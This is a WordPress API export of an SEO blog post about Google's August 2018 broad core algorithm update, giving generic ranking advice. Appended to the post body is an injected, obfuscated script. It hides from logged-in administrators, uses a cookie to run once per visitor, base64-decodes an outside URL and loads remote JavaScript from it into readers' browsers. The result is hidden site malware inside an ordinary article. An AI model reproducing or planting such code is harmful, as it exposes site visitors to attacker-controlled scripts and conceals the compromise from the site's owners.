{"id":3283,"date":"2018-08-17T09:46:58","date_gmt":"2018-08-17T09:46:58","guid":{"rendered":"https:\/\/www.sedulous.co\/blogm\/?p=193"},"modified":"2025-10-21T20:41:03","modified_gmt":"2025-10-21T15:11:03","slug":"googles-broad-core-algorithm-update-everything-you-must-know","status":"publish","type":"post","link":"https:\/\/www.sedulous.co\/blog\/googles-broad-core-algorithm-update-everything-you-must-know\/","title":{"rendered":"Google\u2019s Broad Core Algorithm Update &#8211; EVERYTHING You Must Know"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/googles-broad-core-algorithm-update-everything-you-must-know\/#What_is_the_broad_core_algorithm_update\" >What is the broad core algorithm update?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/googles-broad-core-algorithm-update-everything-you-must-know\/#Making_Sense_of_vague\" >Making Sense of vague<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"#\" data-href=\"https:\/\/www.sedulous.co\/blog\/googles-broad-core-algorithm-update-everything-you-must-know\/#What_to_do_now\" >What to do now?<\/a><\/li><\/ul><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<p>[vc_row][vc_column][vc_column_text]<strong>&#8220;This week we released a broad core algorithm update, as we do several times per year. Our guidance about such updates remains the same as in March,&#8221;<\/strong> Google tweeted on August 1, 2018. And just like that, the search engine jolted the SEO community back on its feet\u2026 again.<\/p>\n<p>It\u2019s no secret that Google makes changes in its algorithm hundreds of times every year. Sometimes multiple times a day. But the majority of these updates are so small and negligent that very few really stress over them.<\/p>\n<p>However, the latest announcement is no one such small updates. It\u2019s big. Else it wouldn\u2019t have warranted an official statement in the first place. Sadly, nobody really knows what <strong>\u2018broad core algorithm update\u2019<\/strong> is. It can literally be anything![\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h2><span class=\"ez-toc-section\" id=\"What_is_the_broad_core_algorithm_update\"><\/span>What is the broad core algorithm update?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Unlike Panda, Penguin, Fred and more, these updates are relatively generic but critically important. They aren\u2019t implemented to solve any one particular problem with the search result.<\/p>\n<p>For example, Panda was introduced to resolve the menace of duplicate contents. Penguin came to penalize websites with manipulative backlinks. Hummingbird solved keyword-stuffing and Fred targeted poor, ad-focused contents.<\/p>\n<p>Broad core algorithm update doesn\u2019t target any one problem; it isn\u2019t a solution to anything specific. Rather, as is suggestive by its name, it\u2019s a widespread change that will broadly affect any or all of Google\u2019s over 200 ranking factors.<\/p>\n<p>Another term in the name to focus on is \u2018core\u2019. Although broad and generic, the update happens in the core or main search engine framework, which, unsurprisingly, will have a significant impact on SERP.[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Making_Sense_of_vague\"><\/span>Making Sense of vague<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>In short, no one can really make out exactly how Google\u2019s August 1 algorithm update will impact the SEO world. So, there\u2019s basically nothing much you can do following this announcement. All you can do is hope that you\u2019re still in good books of this search giant.<\/p>\n<p>That being said though, when seen inline with the past official tweets of Google, you shouldn\u2019t be much worrying about getting penalized.<\/p>\n<p>In March this year, Google said, \u201cLast week, we released a broad core algorithm update. We do these routinely several times per year&#8230;. As with any update, some sites may note drops or gains. There\u2019s nothing wrong with pages that may now perform less well. Instead, it\u2019s that changes to our systems are benefiting pages that were previously under-rewarded&#8230;. There\u2019s no \u201cfix\u201d for pages that<br \/>\nmay perform less well other than to remain focused on building great content. Over time, it may be that your content may rise relative to other pages.\u201d<\/p>\n<p>(These are official tweets from Google\u2019s @searchliaison. Check it out here.)<\/p>\n<p>Meaning, in case, if you see your website performing badly following the August 1 broad core algorithm update, it doesn\u2019t mean you\u2019ve been penalized. It simply means your competitors are more deserving to rank higher than you. And if you see an improvement in your metrics, you\u2019re so much better than what you\u2019ve got till now.[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<h4><span class=\"ez-toc-section\" id=\"What_to_do_now\"><\/span>What to do now?<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>Again, there\u2019s very less you can do to minimize the impact of the latest broad core algorithm update (if any). Given, assumingly, the update can impact nearly any and every of Google\u2019s ranking factors, you have to run back to the basics. Here are 6 things you can do now:<\/p>\n<ul>\n<li>Listen to Google. Comply with its guidelines<\/li>\n<li>Create high-quality, resourceful contents<\/li>\n<li>Focus on delivering high UX<\/li>\n<li>Have a clean, fast and easily-navigable website<\/li>\n<li>Avoid anything that you think is manipulative and black-hat<\/li>\n<li>FOCUS on users and not search engines<\/li>\n<\/ul>\n<p>These are 6 cliched but important things you should do to rank higher on Google\u2014to tackle any of its algorithm updates swiftly. For now, keep an eye on your metrics. If you measure any change, re-align your SEO strategies accordingly. Broad core algorithm update is a big development. But there\u2019s nothing much you can do about it.[\/vc_column_text][\/vc_column][\/vc_row]<\/p>\n<p><script>;<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[vc_row][vc_column][vc_column_text]&#8220;This week we released a broad core algorithm update, as we do several times per year. Our guidance about such updates remains the same as in March,&#8221; Google tweeted on August 1, 2018. And just like that, the search engine jolted the SEO community back on its feet\u2026 again. It\u2019s no secret that Google makes changes in its algorithm hundreds of times every year. Sometimes multiple times a day. But the majority of these updates are so small and negligent that very few really stress over them. However, the latest announcement is no one such small updates. It\u2019s big. Else it wouldn\u2019t have warranted an official statement in the first place. Sadly, nobody really knows what \u2018broad core algorithm update\u2019 is. It can literally be anything![\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text] What is the broad core algorithm update? Unlike Panda, Penguin, Fred and more, these updates are relatively generic but critically important. They aren\u2019t implemented to solve any one particular problem with the search result. For example, Panda was introduced to resolve the menace of duplicate contents. Penguin came to penalize websites with manipulative backlinks. Hummingbird solved keyword-stuffing and Fred targeted poor, ad-focused contents. Broad core algorithm update doesn\u2019t target any one problem; it isn\u2019t a solution to anything specific. Rather, as is suggestive by its name, it\u2019s a widespread change that will broadly affect any or all of Google\u2019s over 200 ranking factors. Another term in the name to focus on is \u2018core\u2019. Although broad and generic, the update happens in the core or main search engine framework, which, unsurprisingly, will have a significant impact on SERP.[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text] Making Sense of vague In short, no one can really make out exactly how Google\u2019s August 1 algorithm update will impact the SEO world. So, there\u2019s basically nothing much you can do following this announcement. All you can do is hope that you\u2019re still in good books of this search giant. That being said though, when seen inline with the past official tweets of Google, you shouldn\u2019t be much worrying about getting penalized. In March this year, Google said, \u201cLast week, we released a broad core algorithm update. We do these routinely several times per year&#8230;. As with any update, some sites may note drops or gains. There\u2019s nothing wrong with pages that may now perform less well. Instead, it\u2019s that changes to our systems are benefiting pages that were previously under-rewarded&#8230;. There\u2019s no \u201cfix\u201d for pages that may perform less well other than to remain focused on building great content. Over time, it may be that your content may rise relative to other pages.\u201d (These are official tweets from Google\u2019s @searchliaison. Check it out here.) Meaning, in case, if you see your website performing badly following the August 1 broad core algorithm update, it doesn\u2019t mean you\u2019ve been penalized. It simply means your competitors are more deserving to rank higher than you. And if you see an improvement in your metrics, you\u2019re so much better than what you\u2019ve got till now.[\/vc_column_text][tm_spacer size=&#8221;xs:10;sm:10;md:10;lg:18&#8243;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text] What to do now? Again, there\u2019s very less you can do to minimize the impact of the latest broad core algorithm update (if any). Given, assumingly, the update can impact nearly any and every of Google\u2019s ranking factors, you have to run back to the basics. Here are 6 things you can do now: Listen to Google. Comply with its guidelines Create high-quality, resourceful contents Focus on delivering high UX Have a clean, fast and easily-navigable website Avoid anything that you think is manipulative and black-hat FOCUS on users and not search engines These are 6 cliched but important things you should do to rank higher on Google\u2014to tackle any of its algorithm updates swiftly. For now, keep an eye on your metrics. If you measure any change, re-align your SEO strategies accordingly. Broad core algorithm update is a big development. But there\u2019s nothing much you can do about it.[\/vc_column_text][\/vc_column][\/vc_row]<\/p>\n","protected":false},"author":1,"featured_media":231,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[65,193],"tags":[],"class_list":["post-3283","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-digital-marketing","category-search-engine-optimization"],"_links":{"self":[{"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/posts\/3283","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/comments?post=3283"}],"version-history":[{"count":3,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/posts\/3283\/revisions"}],"predecessor-version":[{"id":11878,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/posts\/3283\/revisions\/11878"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/media\/231"}],"wp:attachment":[{"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/media?parent=3283"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/categories?post=3283"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sedulous.co\/blog\/wp-json\/wp\/v2\/tags?post=3283"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}